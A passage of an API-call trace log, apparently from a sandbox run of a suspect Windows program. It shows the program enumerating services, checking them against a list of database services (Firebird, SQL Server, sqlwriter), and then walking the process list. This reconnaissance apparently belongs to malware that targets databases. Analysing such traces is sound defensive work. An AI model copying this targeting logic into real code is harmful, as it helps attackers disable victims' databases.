dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x37febc, lpServicesReturned=0x37fed4, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x37febc, lpServicesReturned=0x37fed4, lpResumeHandle=0x0) returned 0 [0134.821] GetLastError () returned 0xea [0134.821] EnumServicesStatusExW (in: hSCManager=0x52ea80, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x52ee58, cbBufSize=0x1484, pcbBytesNeeded=0x37febc, lpServicesReturned=0x37fed4, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x52ee58, pcbBytesNeeded=0x37febc, lpServicesReturned=0x37fed4, lpResumeHandle=0x0) returned 1 [0134.822] CloseServiceHandle (hSCObject=0x52ea80) returned 1 [0134.822] lstrlenW (lpString="Appinfo") returned 7 [0134.822] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0134.822] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0134.822] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0134.822] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0134.822] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0134.822] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0134.822] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0134.822] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0134.823] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0134.823] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0134.823] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0134.823] lstrlenW (lpString="AudioSrv") returned 8 [0134.823] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0134.823] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0134.823] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0134.823] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0134.823] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0134.823] lstrlenW (lpString="BFE") returned 3 [0134.823] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0134.823] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0134.823] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0134.823] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0134.823] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0134.823] lstrlenW (lpString="CryptSvc") returned 8 [0134.823] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0134.823] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0134.823] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0134.823] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0134.823] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0134.823] lstrlenW (lpString="CscService") returned 10 [0134.823] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0134.823] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0134.823] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0134.823] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0134.823] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0134.823] lstrlenW (lpString="DcomLaunch") returned 10 [0134.823] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0134.823] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0134.823] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0134.824] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0134.824] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0134.824] lstrlenW (lpString="Dhcp") returned 4 [0134.824] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0134.824] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0134.824] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0134.824] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0134.824] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0134.824] lstrlenW (lpString="Dnscache") returned 8 [0134.824] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0134.824] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0134.824] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0134.824] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0134.824] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0134.824] lstrlenW (lpString="DPS") returned 3 [0134.824] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0134.824] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0134.824] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0134.824] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0134.824] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0134.824] lstrlenW (lpString="eventlog") returned 8 [0134.824] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0134.824] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0134.824] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0134.824] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0134.824] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0134.824] lstrlenW (lpString="EventSystem") returned 11 [0134.824] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0134.824] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0134.824] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0134.824] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0134.825] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0134.825] lstrlenW (lpString="FontCache") returned 9 [0134.825] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0134.825] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0134.825] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0134.825] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0134.825] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0134.825] lstrlenW (lpString="gpsvc") returned 5 [0134.825] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0134.825] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0134.825] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0134.825] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0134.825] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0134.825] lstrlenW (lpString="iphlpsvc") returned 8 [0134.825] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0134.825] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0134.825] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0134.825] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0134.825] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0134.825] lstrlenW (lpString="LanmanServer") returned 12 [0134.825] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0134.825] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0134.825] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0134.825] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0134.825] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0134.825] lstrlenW (lpString="LanmanWorkstation") returned 17 [0134.825] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0134.825] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0134.825] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0134.825] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0134.825] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0134.826] lstrlenW (lpString="lmhosts") returned 7 [0134.826] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0134.826] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0134.826] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0134.826] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0134.826] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0134.826] lstrlenW (lpString="MMCSS") returned 5 [0134.826] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0134.826] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0134.826] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0134.826] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0134.826] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0134.826] lstrlenW (lpString="MpsSvc") returned 6 [0134.826] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0134.826] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0134.826] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0134.826] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0134.826] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0134.826] lstrlenW (lpString="Netman") returned 6 [0134.826] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0134.826] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0134.826] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0134.826] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0134.826] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0134.826] lstrlenW (lpString="netprofm") returned 8 [0134.826] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0134.826] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0134.826] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0134.826] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0134.826] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0134.827] lstrlenW (lpString="NlaSvc") returned 6 [0134.827] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0134.827] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0134.827] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0134.827] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0134.827] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0134.827] lstrlenW (lpString="nsi") returned 3 [0134.827] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0134.827] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0134.827] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0134.827] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0134.827] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0134.827] lstrlenW (lpString="PcaSvc") returned 6 [0134.827] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0134.827] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0134.827] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0134.827] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0134.827] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0134.827] lstrlenW (lpString="PlugPlay") returned 8 [0134.827] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0134.827] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0134.827] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0134.827] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0134.827] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0134.827] lstrlenW (lpString="Power") returned 5 [0134.827] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0134.827] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0134.827] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0134.827] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0134.827] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0134.828] lstrlenW (lpString="ProfSvc") returned 7 [0134.828] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0134.828] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0134.828] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0134.828] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0134.828] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0134.828] lstrlenW (lpString="RpcEptMapper") returned 12 [0134.828] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0134.828] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0134.828] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0134.828] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0134.828] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0134.828] lstrlenW (lpString="RpcSs") returned 5 [0134.828] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0134.828] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0134.828] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0134.828] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0134.828] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0134.828] lstrlenW (lpString="SamSs") returned 5 [0134.828] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0134.828] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0134.828] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0134.828] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0134.828] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0134.828] lstrlenW (lpString="Schedule") returned 8 [0134.828] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0134.828] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0134.828] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0134.828] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0134.828] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0134.828] lstrlenW (lpString="SENS") returned 4 [0134.828] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0134.829] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0134.829] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0134.829] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0134.829] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0134.829] lstrlenW (lpString="ShellHWDetection") returned 16 [0134.829] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0134.829] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0134.829] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0134.829] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0134.829] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0134.829] lstrlenW (lpString="Spooler") returned 7 [0134.829] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0134.829] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0134.829] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0134.829] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0134.829] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0134.829] lstrlenW (lpString="sppsvc") returned 6 [0134.829] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0134.829] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0134.829] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0134.829] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0134.829] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0134.829] lstrlenW (lpString="swprv") returned 5 [0134.829] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0134.829] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0134.829] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0134.829] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0134.829] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0134.829] lstrlenW (lpString="SysMain") returned 7 [0134.829] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0134.830] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0134.830] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0134.830] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0134.830] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0134.830] lstrlenW (lpString="Themes") returned 6 [0134.830] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0134.830] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0134.830] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0134.830] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0134.830] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0134.830] lstrlenW (lpString="TrkWks") returned 6 [0134.830] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0134.830] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0134.830] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0134.830] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0134.830] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0134.830] lstrlenW (lpString="UxSms") returned 5 [0134.830] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0134.830] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0134.830] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0134.830] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0134.830] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0134.830] lstrlenW (lpString="VSS") returned 3 [0134.830] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0134.830] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0134.830] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0134.830] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0134.830] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0134.830] lstrlenW (lpString="W32Time") returned 7 [0134.830] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="W32Time") returned -1 [0134.830] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="W32Time") returned -1 [0134.831] lstrcmpiW (lpString1="sqlwriter", lpString2="W32Time") returned -1 [0134.831] lstrcmpiW (lpString1="mssqlserver", lpString2="W32Time") returned -1 [0134.831] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="W32Time") returned -1 [0134.831] lstrlenW (lpString="WdiServiceHost") returned 14 [0134.831] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0134.831] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0134.831] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0134.831] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0134.831] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0134.831] lstrlenW (lpString="WdiSystemHost") returned 13 [0134.831] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0134.831] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0134.831] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0134.831] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0134.831] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0134.831] lstrlenW (lpString="WinDefend") returned 9 [0134.831] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0134.831] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0134.831] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0134.831] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0134.831] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0134.831] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0134.831] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0134.831] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0134.831] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0134.831] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0134.831] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0134.831] lstrlenW (lpString="Winmgmt") returned 7 [0134.831] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0134.831] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0134.832] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0134.832] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0134.832] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0134.832] lstrlenW (lpString="wscsvc") returned 6 [0134.832] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0134.832] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0134.832] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0134.832] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0134.832] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0134.832] lstrlenW (lpString="wuauserv") returned 8 [0134.832] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0134.832] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0134.832] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0134.832] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0134.832] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c4 [0134.834] Process32FirstW (in: hSnapshot=0x1c4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0134.835] Process32NextW (in: hSnapshot=0x1c4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x53, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0134.837] lstrlenW (lpString="System") returned 6 [0134.837] Process32NextW (in: hSnapshot=0x1c4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0134.838] lstrlenW (lpString="smss.exe") returned 8 [0134.838] Process32NextW (in: hSnapshot=0x1c4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0134.839] lstrlenW (lpString="csrss.exe") returned 9 [0134.839] Process32NextW (in: hSnapshot=0x1c4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0134.840] lstrlenW (lpString="wininit.exe") returned 11 [0134.840] Process32NextW (in: hSnapshot=0x1c4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0134.841] lstrlenW (lpString="csrss.exe") returned 9 [0134.841] Process32NextW (in: hSnapshot=0x1c4, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, 